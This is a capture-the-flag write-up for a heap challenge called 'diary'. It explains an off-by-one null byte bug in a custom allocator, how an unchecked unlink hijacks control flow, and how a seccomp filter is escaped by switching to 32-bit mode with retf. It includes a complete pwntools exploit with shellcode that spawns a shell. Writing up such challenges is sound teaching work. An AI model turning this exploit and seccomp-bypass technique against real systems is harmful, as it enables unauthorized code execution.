Introduction
This post is partially based on [1] and [2]. In this challenge, it involves a customized memory management and seccomp escape.
Vulnerability Analysis
The vulnerability is easy to locate. There exists an one-byte-off-null vulnerability in getnline function. The difficult part is the exploit developement.
Exploit Plan
Control Flow Hijacking
The exploit development can be divided into two parts: Control Flow Hijacking and Seccomp Escape. Let us discuss them step by step.
Since the challenge implements a customized heap management, let me introduce the heap management system first.
The there are three important data structures in this challenge.
struct date { int year; char month; char day; } struct data_node { date d; char *buf; data_node *prev; data_node *next; } struct chunk_header { long size; chunk_header *fd; chunk_header *bk; }
The heap in this challenge is maintained via struct chunk. The operations on the chunk is a simplified version of ptmalloc. Similar to ptmalloc, it also uses the the last bit of size to denote if the previous adjacent chunk is in use or not. And the free list of the chunks is maintained in the size order.
Allocation: During the process of allocation, it first goes through the free list to search for freed chunk of suitable size. If such a chunk is found, unlink the chunk from the free list first, extract the chunk of requested size and insert the remaining chunk into the free list. If such a chunk is not found, extract the chunk of requested size from the top chunk.
Free: During the process of freeing a memory, it will also check if the in_use bit of next adjacent chunk is set. It will continue the freeing process only if the bit is set. Next it will check if the status of the previous adjacent chunk is in use, if not, it will unlink the previous chunk from the free list , merge the current chunk with previous adjacent chunk and set the merged chunk as current chunk. Then it will check if the status of the next adjacent chunk is in use, if not, it will unlink the next adjacent chunk from the free list, merge the current chunk will next adjacent chunk and set the merged chunk as current chunk. Finally, put the current chunk into the free list
The unlinking process is given below:
unlink(chunk_header *p) { p->bk->fd = p->fd; p->fd->bk = p->bk }
Since there is no integrity check on the unlinking procedure, we can no doubt use such operation to corrupt memory and hijack control flow.
Seccomp Escape
The previous part is still a routine exploit. The unusual part is what we have to do after hijacking control flow. This part is based on the conclusion given in [1]. In future, I may add more possible solutions for this challenge.
There is a seccomp filter set in this challenge. With the help of seccomp tools, we can see the rules are given below:
$ seccomp-tools dump ./diary line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0007 0006: 0x06 0x00 0x00 0x00000000 return KILL 0007: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0011 0010: 0x06 0x00 0x00 0x00000000 return KILL 0011: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0013 0012: 0x06 0x00 0x00 0x00000000 return KILL 0013: 0x15 0x00 0x01 0x00000055 if (A != creat) goto 0015 0014: 0x06 0x00 0x00 0x00000000 return KILL 0015: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0017 0016: 0x06 0x00 0x00 0x00000000 return KILL 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
We can observe that the syscall execve and open is forbidden in this challenge. So we cannot directly use simple shellcode to get a shell. According to the solution in [1], we can use retf instruction to change the execution mode from 64-bit to 32-bit and executes the shellcode under 32-bit mode to escape seccomp.
In this challenge, it prepares a 32-bit bash in its local directory. Attacker only needs to execute execve(“./bash”) to get the shell. To emulate the same situation, I download the source code of bash, build a 32-bit bash on my machine and create a symbolic link to the bash binary in my local directory.
After getting the shell, we are still unable to read the flag directly with simple commands. We need to use some walk-arounds to get the content of flag.
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("1.2.3.4", 23333); elif(DEBUG == 1): r = process("./diary"); elif(DEBUG == 2): r = process("./diary"); gdb.attach(r, '''source ./script'''); def register(year, month, day, size, payload): r.recvuntil(">>"); r.sendline("1"); r.recvuntil("..."); date = "%d/%d/%d" % (year, month, day) r.sendline(date); r.recvuntil("..."); r.sendline(str(size)); r.recvuntil(">> "); r.send(payload); def overwrite_register(year, month, day, size, payload): r.recvuntil(">>"); r.sendline("1"); r.recvuntil("..."); date = "%d/%d/%d" % (year, month, day) r.sendline(date); r.recvuntil("..."); r.sendline(str(size)); r.recvuntil(">> "); r.sendline(payload); def show(year, month, day): r.recvuntil(">>"); r.sendline("2"); r.recvuntil("..."); date = "%d/%d/%d" % (year, month, day); r.sendline(date); def delete(year, month, day): r.recvuntil(">>"); r.sendline("3"); r.recvuntil("..."); date = "%d/%d/%d" % (year, month, day); r.sendline(date); def exploit(): register(1970, 4, 23, 0x20, "A"*0x8 + "B"*8 + "C"*8 + "D"*7 ); register(1970, 4, 24, 0x20, "B"*0x1f ); delete(1970, 4, 23); delete(1970, 4, 24); register(1970, 4, 25, 0x40, "\xeb\x7f" + "D"*(0x30-2)); show(1970,4,25); r.recvuntil("D"*0x2e); leak = r.recv(6); leakedValue = u64(leak + "\x00\x00"); log.info("Leaked Value: 0x%x" % leakedValue); heapAddr = leakedValue - 0x80; log.info("Heap Value: 0x%x" % heapAddr); shellcode = ('''xor rax, rax mov al, 9 inc al mov rdi, 0x602000 mov rsi, 0x1000 mov rdx, 7 syscall mov rax, 0 xor rdi, rdi mov rsi, 0x602190 mov rdx, 28 syscall xor rsp, rsp mov esp, 0x602160 mov DWORD PTR [esp+4], 0x23 mov DWORD PTR [esp], 0x602190 retf ''') ; payload = "\x90"*0x60; payload += asm(shellcode, os='linux', arch='amd64'); payload = payload.ljust(0x100, '\x90'); register(1970, 4, 26, 0x100, payload); payload = p64(heapAddr + 0x30) + p64(0x602090 - 8) + "E"*0x10; overwrite_register(1970, 4, 27, 0x20, payload); overwrite_register(1970, 4, 28, 0x20, "F"*0x20); delete(1970, 4, 27); r.recvuntil(">>"); r.sendline("0"); r.sendline(asm(shellcraft.i386.linux.execve('./bash'), arch='x86') + "\x80"); r.interactive(); halt(); exploit();
Reference
[1] http://uaf.io/exploitation/2016/09/06/TokyoWesterns-MMA-Diary.html
[2] https://david942j.blogspot.tw/2016/09/write-up-tokyo-westernsmma-ctf-2nd-2016.html